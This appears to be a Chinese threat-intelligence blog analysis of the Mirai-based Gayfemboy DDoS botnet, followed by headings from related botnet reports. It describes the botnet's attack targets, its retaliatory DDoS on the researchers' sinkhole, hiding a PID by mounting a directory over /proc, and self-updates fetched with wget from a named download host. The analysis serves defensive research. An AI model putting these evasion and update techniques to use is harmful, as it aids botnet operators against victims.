Gayfemboy Bot连接CC时携带一个分组信息，这些分组信息是为了标识并组织被感染的设备，以便攻击者更有效地管理和控制庞大的僵尸网络。这个分组信息通常包含一些关键的标识符，例如设备的操作系统类型、或者其他识别信息。很多攻击者也喜欢用感染设备的方式来作为标识。Gayfemboy的上线分组信息是设备信息。感染的主要设备如下：

DDoS 分析

攻击目标

Gayfemboy僵尸网络的发起攻击从2024年02月至今断断续的一直有，其中去年10月和11月份攻击目标最多。每天攻击上百个目标。攻击目标遍布全球，分布在各个行业，主要攻击目标分布在中国、美国、德国、英国、新加坡等地区。攻击目标趋势如下：

攻击能力

我们将抢注的Gayfemboy域名解析到了云厂商的VPS。Gayfemboy的所有者发现后开始定期对我们注册的域名发起DDoS攻击，每次攻击时长10到30秒。云厂商发现我们的VPS被攻击后会立即将我们的VPS流量黑洞路由24小时以上，这将导致我们的VPS无法提供服务，也无法访问(我们的VPS还没有被Gayfemboy打死，就被云厂商先干死了，云厂商服务策略如此)。一旦VPS服务恢复，Gayfemboy又攻过来了。因为我们没有购买抗DDoS服务，最终选择停止解析Gayfemboy的域名。部分攻击指令记录如下图所示：

根据云厂商提供的流量监控服务可以看到Gayfemboy攻击流量可能在百G左右。

样本分析

该家族使用魔改UPX壳，早期使用的幻数为"YTS\x99"，自2024年6月之后开始使用独特幻数"1wom"

在代码方面基于Mirai进行修改：

删除Mirai字符串表，使用明文字符串
添加隐藏pid函数
修改上线包为"gayfemboy"
添加新的指令功能

为增加分析难度、保护程序，botnet开发者往往会对字符串进行加密，但该开发者似乎不重视字符串的保护，字符串全部使用明文，样本在运行后会输出"we gone now\n"，该特征从发现样本开始一直没有改变

为隐藏恶意进程，样本启动后会尝试从根目录开始查找可写入的目录，并尝试写入随机的2032字节文件test_write作为测试，成功后会删除该文件，在遇到以下目录时会跳过

/proc /sys /dev/fd /boot

当找到可写入目录时，尝试通过挂载该目录到/proc/上使该进程在/proc文件系统中不可见，以此隐藏指定的PID。

在网络协议方面，保留了Mirai的指令格式，修改上线包并添加新的指令功能：

常规的DDoS相关指令：

当收到自更新指令时，会从指令中获取下载服务器和botid，默认使用meowware.ddns.net作为下载服务器，样本中硬编码了多个下载相关的指令格式字符串

作用是使用wget从固定目录chefrvmanabat下载文件，以botid为参数执行。

当收到扫描指令时，从指令中解析多个自定义参数，如扫描端口、上报服务器、上报端口、验证返回包等

总结

DDoS（分布式拒绝服务）作为一种高度可重复使用且成本相对较低的网络攻击武器，因其能够通过分布式僵尸网络、恶意工具或放大技术，瞬间发起大规模流量攻击，对目标网络资源进行耗尽、瘫痪或服务中断，已成为网络攻击中最常见和最具有破坏力的手段之一。其攻击模式多样化、攻击路径隐蔽性强，并能通过不断变化的策略与技术手段，针对不同的行业和系统实施精准打击，从而对企业、政府机构和个人用户造成严重威胁。企事业和个人应从不同层面制定完善的防御策略降低DDoS攻击的风险，提升系统的整体抗压能力。

阅读原文

跳转微信打开

奇安信XLab

僵尸网络新秀：Dysphoria 演进与深度技术分析

一、 家族演进时间线 (Timeline)

二、 DDoS样本分析

1. 魔改RC4 解密

2. 区块链域名 C2 隐蔽解析机制

虚假 IPv6 地址混淆

动态 C2 获取流程

3. 网络协议与指令结构

上线包 (Login) 与 心跳包 (Heartbeat) 结构

DDoS 攻击指令结构 (Attack Command)

三、 独立的“中继/代理样本”样本分析

1. 自动化 UPnP 内网穿透

2. 双向非阻塞高效中继 (Epoll)

3. 中继状态上报

四、样本传播

五、感染范围与规模

六、DDoS攻击

七、 威胁情报 (IOCs)

1. Download/C2 服务器 (包含特异性 FTP Banner)

2. 关键基础设施域名

3. 区块链域名

4. 样本哈希 (SHA1)

CU-Xlab大网僵尸网络分布式传播活动分析报告

1、僵尸网络攻击特征

1.1特征1：持续全网“巡航式”探测攻击

1.2 特征2：慢扫探测攻击

2、僵尸网络传播链路

2.1传播链路案例1

2.1.1失陷主机被攻击阶段

2.1.2 C2持续回连阶段

2.1.3肉鸡扩散攻击阶段

2.2 传播链路案例2

2.3 案例总结

3、攻击趋势分析

3.1 近10天的攻击趋势

3.2攻击节奏分析

4.僵尸网络攻击源态势分析

4.1攻击ip国家分布

4.2每日活跃境外僵尸网络肉鸡

4.3最活跃的攻击ip top20

5.受害资产暴露特征分析

5.1高频攻击端口top20

5.2被扫描的ip的ip段分布

5.3 被攻击最多的ip情况

6总结与安全建议

6.1 核心总结

6.2 安全建议

NadMesh僵尸网络分析：人工智能服务时代的产品级威胁

NadMesh 完整攻击杀伤链

整体架构

认证机制

HTTP 端点功能清单

扫描端口集（30 个）

yield_generator.py —— 高产网段放大扫描

效果很直接：扫描越出成果的网段，越会被密集再扫，形成正反馈循环。

auto_inject.sh —— 危险 IP 周期重扫

reinject.sh —— 全量高优先级重扫

三个脚本叠加，形成清晰的优先级梯队：

蜜罐自动黑名单

判定逻辑是：对同一 IP 部署 ≥10 次仍拿不到结果，即认定为蜜罐并自动拉黑。这说明作者已经意识到安全研究人员的存在，并主动做了规避。

NadMesh Agent 远控能力与漏洞利用向量

扫描与识别（Bot 侧）

20+ RCE 向量清单

部署结果分类

NadMesh 凭证与 AI 情报收割

情报字段（Agent 上报）

Shodan AI 服务定向收割（ai_harvest.py）

情报面板展示

IoC

RustDuck: 双阶段僵尸网络深度剖析

概述

攻击事件趋势

样本分析

一、 Loader 的进化与聚类分析

1. loader变种1

2. loader变种2

3. loader变种3

4. loader变种4

二、 Core 阶段的质变进化

一、家族演进时间线 (Timeline)

上线包 (Login) 与心跳包 (Heartbeat) 结构

三、独立的“中继/代理样本”样本分析

七、威胁情报 (IOCs)